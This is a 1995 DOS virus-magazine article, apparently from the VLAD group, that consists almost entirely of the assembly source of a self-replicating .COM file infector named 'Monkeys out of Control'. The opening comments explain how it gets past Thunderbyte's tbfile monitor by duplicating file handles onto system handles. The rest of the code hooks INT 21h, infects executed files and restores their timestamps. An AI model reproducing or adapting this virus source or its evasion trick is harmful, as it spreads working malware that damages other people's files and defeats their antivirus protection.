home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.5_1 < prev    next >
Encoding:
Text File  |  1995-02-06  |  5.1 KB  |  183 lines

  1.  
  2. ; Monkeys out of Control, a laboratory specimen by Rhincewind [Vlad]
  3. ;
  4. ; The purpose of this virus is to show that Thunderbyte's tbfile will
  5. ; allow writes to file handles that are normally characterbased 
  6. ; 'system' handles, set to CON:. Instead of checking if the handle points 
  7. ; to a character device, tbfile makes it's judgement based on the handle
  8. ; number only. Tsss..
  9. ;
  10. ; To exploit this flaw, all you have to do is open your target file 
  11. ; for read/write and copy the returned file handle to one of the system 
  12. ; handles using function 46h.
  13.                 
  14.                 .model tiny
  15.  
  16.                 .code
  17.  
  18.                 org 100h
  19.  
  20. start:
  21.                 dec bp
  22.                 mov si, offset endvirus-2
  23.                 mov cx, (endvirus-start)/2
  24.                 std
  25. pushloop:                
  26.                 lodsw 
  27.                 push ax
  28.                 loop pushloop           
  29.                 push sp
  30.                 pop ax
  31.                 add ax,(stack_entry-start)
  32.                 push ax
  33.                 cli
  34.                 ret
  35. stack_entry:
  36.                 dec sp
  37.                 dec sp
  38.                 pop bp
  39.                 sti
  40. no_int1:
  41.                 cld
  42.                 mov word ptr [bp+(jmpseg-stack_entry)],cs
  43.                 mov si,offset restore-100h    
  44.                 org $-2
  45. restore_offset  dw ?
  46.                 mov di, 100h
  47.                 add si,di
  48.                 mov cx, (endvirus-start)
  49.                 rep movsb
  50.                 push cx
  51.                 lea si, [bp-(stack_entry-start)]
  52.                 mov di, 200h
  53.                 mov es, word ptr [si-2]
  54.                 mov cx, (endvirus-start)
  55.                 rep movsb
  56.                 mov ds,cx
  57.                 mov ax, offset seg0_entry+100h
  58.                 push ax
  59.                 mov ax,0eaf9h
  60.                 push ax
  61.                 jmp sp
  62.                 db 'Monkeys out of Control'
  63. seg0_entry:
  64.                 jc dont_hang    
  65.                 jmp $
  66. dont_hang:
  67.                 mov di, 84h
  68.                 les bx, dword ptr es:[di]
  69.                 cmp byte ptr ds:[di+2],20h
  70.                 jz exit
  71.                 mov word ptr ds:[di+(int21offset+100h-84h)],bx
  72.                 mov word ptr ds:[di+(int21seg+100h-84h)],es
  73.                 mov word ptr ds:[di+2],20h
  74.                 mov word ptr ds:[di], offset int21-100h
  75. exit:
  76.                 mov ax, [jmpseg+100h]
  77.                 mov ds,ax
  78.                 mov es,ax
  79.                 mov sp,0fffch
  80.                 xor ax,ax
  81.                 xor bx,bx
  82.                 cwd
  83.                 xor bp,bp
  84.                 xor si,si
  85.                 xor di,di
  86.                 db 0eah
  87. jmpoffset       dw 100h
  88. jmpseg          dw 0
  89. int21:
  90.                 cmp ax, 4b00h
  91.                 jnz jmporg21
  92.                 push ax
  93.                 push bx
  94.                 push cx
  95.                 push dx
  96.                 push ds
  97.                 push es
  98.                 mov ah, 48h
  99.                 mov bx, (((endvirus-start)+15)/16)
  100.                 int 21h
  101.                 jc abort_before_mem
  102.                 push ax
  103.                 push ax
  104.                 mov ax,3d02h
  105.                 int 21h
  106.                 xchg ax,dx
  107.                 pop ds
  108.                 jc free_mem_abort
  109.                 mov ah, 45h
  110.                 xor bx,bx
  111.                 int 21h
  112.                 push ax
  113.                 mov ah, 46h
  114.                 mov bx,dx
  115.                 xor cx,cx
  116.                 int 21h
  117.                 push ax
  118.                 mov ah, 3eh
  119.                 int 21h
  120.                 pop bx
  121.                 mov ah, 3fh
  122.                 call cx_len_dx_zero
  123.                 cmp byte ptr ds:[bx],'M'
  124.                 jz file_abort
  125.                 mov ax, 4202h
  126.                 mov cx,bx
  127.                 int 21h
  128.                 mov cs:restore_offset-100h,ax
  129.                 mov ax, 5700h
  130.                 push ax
  131.                 int 21h
  132.                 push cx
  133.                 push dx
  134.                 call write
  135.                 mov ax, 4200h
  136.                 mov cx,bx
  137.                 int 21h
  138.                 push cs
  139.                 pop ds
  140.                 call write
  141.                 pop dx
  142.                 pop cx
  143.                 pop ax
  144.                 inc ax
  145.                 int 21h
  146. file_abort:
  147.                 mov ah, 46h
  148.                 pop bx
  149.                 xor cx,cx
  150.                 int 21h
  151.                 mov ah,3eh
  152.                 int 21h
  153. free_mem_abort:
  154.                 pop es
  155.                 mov ah, 49h
  156.                 int 21h
  157. abort_before_mem:                
  158.                 pop es
  159.                 pop ds
  160.                 pop dx
  161.                 pop cx
  162.                 pop bx
  163.                 pop ax
  164. jmporg21:                
  165.                 jmp dword ptr cs:int21offset-100h
  166. write:
  167.                 mov ah,40h
  168. cx_len_dx_zero:                
  169.                 cwd
  170.                 mov cx, (endvirus-start)
  171. int21_ret:                
  172.                 int 21h
  173.                 ret
  174. align word
  175. endvirus:
  176. restore:
  177. int21offset     dw 20cdh
  178. int21seg        dw ?
  179.  
  180.                 end start
  181.  
  182.  
  183.